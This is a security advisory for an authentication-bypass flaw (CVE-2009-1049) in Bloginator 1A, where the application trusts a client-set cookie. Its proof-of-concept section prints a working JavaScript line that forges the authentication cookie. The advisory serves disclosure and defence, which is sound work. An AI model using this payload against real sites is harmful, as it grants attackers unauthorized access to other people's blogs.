Bloginator Insecure Cookie Authentication Bypass Vulnerability

BID:34187

Info

Bloginator Insecure Cookie Authentication Bypass Vulnerability

Bugtraq ID: 34187
Class: Access Validation Error
CVE: CVE-2009-1049
Remote: Yes
Local: No
Published: Mar 19 2009 12:00AM
Updated: Apr 13 2015 08:09PM
Credit: FireShot and Osirys
Vulnerable: Kamads.com Bloginator 1A
Not Vulnerable:

Discussion

Bloginator Insecure Cookie Authentication Bypass Vulnerability

Bloginator is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which will aid in further attacks.

Bloginator 1A is vulnerable; other versions may also be affected.

Exploit / POC

Bloginator Insecure Cookie Authentication Bypass Vulnerability

Attackers can exploit this issue via a browser.

Supplying the following cookie data is sufficient to exploit this issue:

javascript:document.cookie = "identifyYourself=you+are+identified; path=/";

The following exploit is available:

Solution / Fix

Bloginator Insecure Cookie Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Bloginator Insecure Cookie Authentication Bypass Vulnerability

References:

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